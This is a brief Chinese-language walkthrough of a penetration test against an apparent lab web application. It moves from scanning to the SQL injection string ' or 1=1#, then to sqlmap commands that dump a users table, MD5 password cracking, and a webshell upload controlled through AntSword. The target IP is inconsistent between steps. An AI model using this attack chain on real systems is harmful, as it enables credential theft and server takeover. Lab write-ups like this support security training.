扫描端口
先使用kali中的nmap工具
未发现目标
使用御剑2014
不断的测试发现172.16.1.182是目标
进入主页发现是登录页面,没有用户名及密码,但是页面有注册链接,进行注册用户
2.使用所注册的用户登陆成功
使用御剑典藏版扫描他的目录
创建账号并登录
登录后输入' or 1=1#
输入1进行抓包
用sqlmap验证是否有sql漏洞
sqlmap -u "http://172.16.1.197/welcome.php" --data="search=1" -- cookie="PHPSESSID=gnpfr7rt8kbfco8383t2d32oum" --level=3
查看所有数据库
sqlmap -u "http://172.16.1.197/welcome.php" --data="search=1" --cookie="PHPSESSID=gnpfr7rt8kbfco8383t2d32oum" --dbs
查看当前数据库
sqlmap -u "http://172.16.1.197/welcome.php" --data="search=1" --cookie="PHPSESSID=gnpfr7rt8kbfco8383t2d32oum" --current-db
查看数据库中的表
sqlmap -u "http://172.16.1.197/welcome.php" --data="search=1" --cookie="PHPSESSID=gnpfr7rt8kbfco8383t2d32oum" -D webapphacking --tables
查看users表中的列
sqlmap -u "http://172.16.1.197/welcome.php" --data="search=1" --cookie="PHPSESSID=gnpfr7rt8kbfco8383t2d32oum" -D webapphacking -T users --columns
查出所有数据
sqlmap -u "http://172.16.1.197/welcome.php" --data="search=1" --cookie="PHPSESSID=gnpfr7rt8kbfco8383t2d32oum" -D webapphacking -T users -C name,user,address,id,pasword --dump
使用md5解密方法进行解密superadmin用户的密码
登录解密后的超级管理员用户
登录后传一句话木马
成功上传
复制链接地址使用蚁剑连接